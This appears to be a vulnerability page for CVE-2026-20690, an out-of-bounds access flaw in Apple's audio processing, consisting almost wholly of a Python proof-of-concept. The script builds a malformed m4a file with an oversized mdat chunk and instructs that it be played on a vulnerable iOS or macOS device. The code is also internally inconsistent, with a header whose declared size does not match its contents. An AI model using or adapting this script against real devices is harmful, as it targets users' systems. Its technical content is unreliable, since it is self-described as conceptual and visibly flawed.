CVE-2026-20690 Apple产品越界访问漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-20690 (Conceptual) This script demonstrates the creation of a malformed media file intended to trigger the out-of-bounds access vulnerability in Apple's audio processing. Note: Actual exploitation requires precise bit manipulation of the audio codec stream. """ import struct def generate_malicious_audio(filename): # Create a dummy header (simplified for demonstration) # Real-world scenario would involve corrupting specific codec atoms file_header = b'\x00\x00\x00\x20ftypM4A ' # Construct a malicious audio chunk # Setting an unrealistic data size to trigger OOB read chunk_size = 0xFFFFFFFF # Max uint32, likely to cause OOB chunk_type = b'mdat' malformed_chunk = struct.pack('>I', chunk_size) + chunk_type # Padding data payload = b'A' * 100 with open(filename, 'wb') as f: f.write(file_header) f.write(malformed_chunk) f.write(payload) print(f"[+] Malicious file generated: {filename}") print(f"[+] Transfer to an vulnerable iOS/macOS device and attempt to play.") if __name__ == "__main__": generate_malicious_audio('cve_2026_20690_exploit.m4a')